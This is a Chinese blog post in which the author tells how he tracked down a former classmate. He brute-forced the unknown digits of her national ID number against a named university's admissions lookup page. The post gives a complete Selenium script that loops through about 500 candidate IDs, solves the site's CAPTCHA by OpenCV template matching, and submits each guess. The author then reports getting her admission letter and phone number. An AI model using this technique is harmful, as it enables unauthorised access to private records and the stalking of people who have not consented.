通過selenium,暴力窮舉身份證號登陸某網站
阿新 • • 發佈:2018-11-08
偶然發現小學女神在某大學讀研,想聯絡一波。十多年沒有聯絡,怎麼辦?發現研究生錄取查詢只用身份證號+姓名+驗證碼,身份證號學校在某些檔案公佈了14位,剩下四位要窮舉,身份證最後一位校驗位,倒數第二位性別,倒數第三第四位窮舉,算下來也就500種可能,可以接受;姓名當然知道;驗證碼,學校的驗證碼也是簡單, 位置固定,樣式固定,沒有噪聲,我都難得訓練模型來預測,直接樣板匹配了。下面是驗證碼和模板
其實驗證碼複雜一點也無所謂,阿里雲之類的平臺有很多收費的api,1塊錢100次左右,直接調api也可以。
然後就是用selenium模擬登陸了,其實很簡單,很容易上手。
from selenium import webdriver from PIL import Image import cv2 import os # 通過模板匹配預測數字 def getNum(roi): nums = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] total = [] for i in range(0, 10): sum = 0 temp = cv2.imread('/Users/Rubik/PycharmProjects/selenium_demo/' + nums[i] + '.png') temp = cv2.cvtColor(temp, cv2.COLOR_BGR2GRAY) for row in range(0, 27): for col in range(0, 14): if roi[row][col] == temp[row][col]: sum = sum + 1 total.append(sum) print(total) return total.index(max(total)) # 保護隱私,這裡身份證號的輸入用的輸入,其實就是自己寫一個程式生成可能的身份證號 id = [] for i in range(0, 500): st = input() id.append(st) # 匯入驅動 dr = webdriver.Chrome(executable_path = '/Users/Rubik/PycharmProjects/selenium_demo/chromedriver') for cnt in range(0, 500): dr.get('http://yjscx.hbut.edu.cn/2018chushicjcx/chaxun.asp') dr.maximize_window() window_size = dr.get_window_size() dr.find_element_by_id('name_cnxdb').send_keys("***") # ‘***’是名字 dr.find_element_by_id('idcard_cnxdb').send_keys(id[cnt]) # 截當前網頁的圖 dr.get_screenshot_as_file('/Users/Rubik/PycharmProjects/selenium_demo/test.png') dr.set_window_position(0, 0) im = Image.open('/Users/Rubik/PycharmProjects/selenium_demo/test.png') # 鎖定驗證碼的位置,擷取roi,再來分析 im = im.crop((1155, 466, 1235, 493)) im.save('/Users/Rubik/PycharmProjects/selenium_demo/code.png') # 通過OpenCV的簡單操作判斷checkcode img = cv2.imread('/Users/Rubik/PycharmProjects/selenium_demo/code.png') img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) cv2.threshold(img, 128, 255, cv2.THRESH_OTSU, img) check = 0 # 字元的位置其實就是長27, 寬14,起始左上角(0,0) for i in range(0, 4): roi = img[0 : 27, i * 20 : i * 20 + 14] check = check * 10 + getNum(roi) dr.find_element_by_name('checkcode').send_keys(check) dr.find_element_by_name('submit').click() # submit cv2.waitKey(2000) # 等兩秒看結果 print(id[cnt]) dr.close()
最後通過身份證號,查到了錄取通知書的聯絡方式等資訊,通過手機號加了微信,尬聊1了小時,畢竟10年沒有聯絡過。